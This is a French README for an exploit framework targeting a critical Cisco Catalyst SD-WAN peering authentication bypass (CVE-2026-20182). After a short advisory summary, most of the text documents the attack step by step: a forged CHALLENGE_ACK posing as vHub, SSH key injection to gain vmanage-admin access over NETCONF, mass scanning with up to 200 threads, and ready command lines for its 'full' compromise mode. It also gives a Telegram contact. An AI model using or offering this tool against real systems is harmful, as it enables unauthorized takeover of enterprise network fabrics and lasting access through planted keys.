
Contournement d'authentification du peering Cisco Catalyst SD-WAN
Contournement de l'authentification de peering Cisco Catalyst SD-WAN
Outil d'évaluation pour les tests autorisés du contournement de l'authentification de peering du contrôleur/gestionnaire Cisco Catalyst SD-WAN (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravité | Critique (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produit | Contrôleur Cisco Catalyst SD-WAN (anciennement vSmart) · Gestionnaire Cisco Catalyst SD-WAN (anciennement vManage) |
| Problème | Mécanisme d'authentification de peering non appliqué correctement |
| Script | CVE-2026-20182.py |
Avis de mai 2026 : une faille dans la poignée de main de connexion de contrôle / l'authentification de peering permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir un accès interne à privilèges élevés sur les systèmes affectés.
Un attaquant envoie des requêtes falsifiées au système affecté. En cas de succès, l'attaquant peut s'authentifier en tant que compte interne, à privilèges élevés, non root et atteindre NETCONF, permettant la manipulation de la configuration du tissu SD-WAN.
| Élément | Détail |
|---|---|
| Vecteur d'attaque | Réseau |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Modifiée |
| Impact | Confidentialité, intégrité et disponibilité — Élevé |
Recommandation : Appliquer les correctifs de sécurité Cisco conformément aux directives officielles du fournisseur. Limiter l'exposition du plan de gestion, surveiller les connexions du plan de contrôle et auditer les contrôleurs SD-WAN pour détecter les modifications de configuration non autorisées.
Telegram : @KNxploited
CVE-2026-20182.pyFramework d'exploitation Python 3 pour CVE-2026-20182 contre Cisco SD-WAN vdaemon (UDP/DTLS 12346).
| Étape | Phase | Description |
|---|---|---|
| 1 | Chargement des cibles | Analyser targets.txt, fusionner les doublons par (host, domain_id, site_id) |
| 2 | Vérification préalable OpenSSL | Charger les bibliothèques partagées OpenSSL 3.x/4.x pour DTLS personnalisé |
| 3 | Connexion DTLS | Se connecter au port UDP cible (toujours 12346 en premier, puis liste de ports optionnelle) |
| 4 | CHALLENGE | Recevoir le CHALLENGE (0x08) du serveur |
| 5 | CHALLENGE_ACK | Envoyer un CHALLENGE_ACK falsifié en tant que vHub (type 2) — contournement de l'authentification |
| 6 | Hello | Compléter l'échange Hello — confirme le chemin de contournement |
| 7a | Mode CHECK | S'arrêter ici — enregistrer contournement / Hello OK uniquement (pas de clés, pas de SSH) |
| 7b | Mode FULL | Injecter une clé publique SSH via VMANAGE_TO_PEER |
| 8 | ACK d'injection | Attendre REGISTER_TO_VMANAGE (0x0D) comme accusé de réception protocolaire |
| 9 | Vérification SSH | Tester la connexion en tant que vmanage-admin sur TCP 830 (NETCONF), optionnellement 22 |
| 10 | Sortie | Trier les résultats en fichiers de niveaux + liste de commandes lisibles |
Rétablissement du tissu : En cas de TEAR_DOWN ou de discordance de paramètres, réessaye avec les préréglages alternatifs domaine/site (1,100), (1,1), (0,0) sauf si --no-fallback.
| Niveau | Fichier | Signification |
|---|---|---|
| 01 — SSH confirmé | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — seul niveau traité comme preuve de compromission complète |
| 02 — ACK d'injection uniquement | cisco_sdwan_02_inject_ack_only.jsonl | Le protocole a accepté l'injection de clé ; la connexion SSH a échoué |
| 03 — Contournement uniquement | cisco_sdwan_03_bypass_only.jsonl | Hello/contournement OK ; aucune injection confirmée |
Important
check → niveau 03 au mieux (sonde de contournement). Pas une preuve d'exploitation complète.full → viser le niveau 01 (ssh_verified).https://host dans la liste → indice web TCP uniquement (80/443). Pas UDP DTLS sur 443.| Prérequis | Remarques |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliothèques partagées 3.x ou 4.x (libssl + libcrypto) — obligatoire |
pip install -r requirements.txt
Windows
bin\ au PATH, ou définir :OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
L'outil se ferme au démarrage si OpenSSL ne peut pas être chargé.
python CVE-2026-20182.py
0 = LANCER L'ANALYSEcheck (sonde de contournement sûre)python CVE-2026-20182.py -y
| Mode | Drapeau | Injection SSH | Vérification SSH | Quand l'utiliser |
|---|---|---|---|---|
| CHECK | --mode check (défaut) | Non | Non | Criblage de masse, détection de contournement |
| FULL | --mode full | Oui | Oui (sauf --no-ssh-verify) | Preuve de compromission |
CHECK — sonde de contournement uniquement
python CVE-2026-20182.py -y --mode check
FULL — injection de clé + vérification SSH (cibles autorisées uniquement)
python CVE-2026-20182.py -y --mode full
-f / --file — liste de cibles (défaut : targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — threads workers (1–200, défaut 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID par défaut quand absent de la liste (défaut : 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID par défaut quand absent de la liste (défaut : 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — ignorer le menu interactif ; utiliser uniquement les valeurs CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — ignorer le test SSH après injection (déconseillé en mode full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — essayer aussi TCP 22 après 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — uniquement UDP 12346 ; ignorer :port de la liste
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — lab : ports UDP supplémentaires sur chaque hôte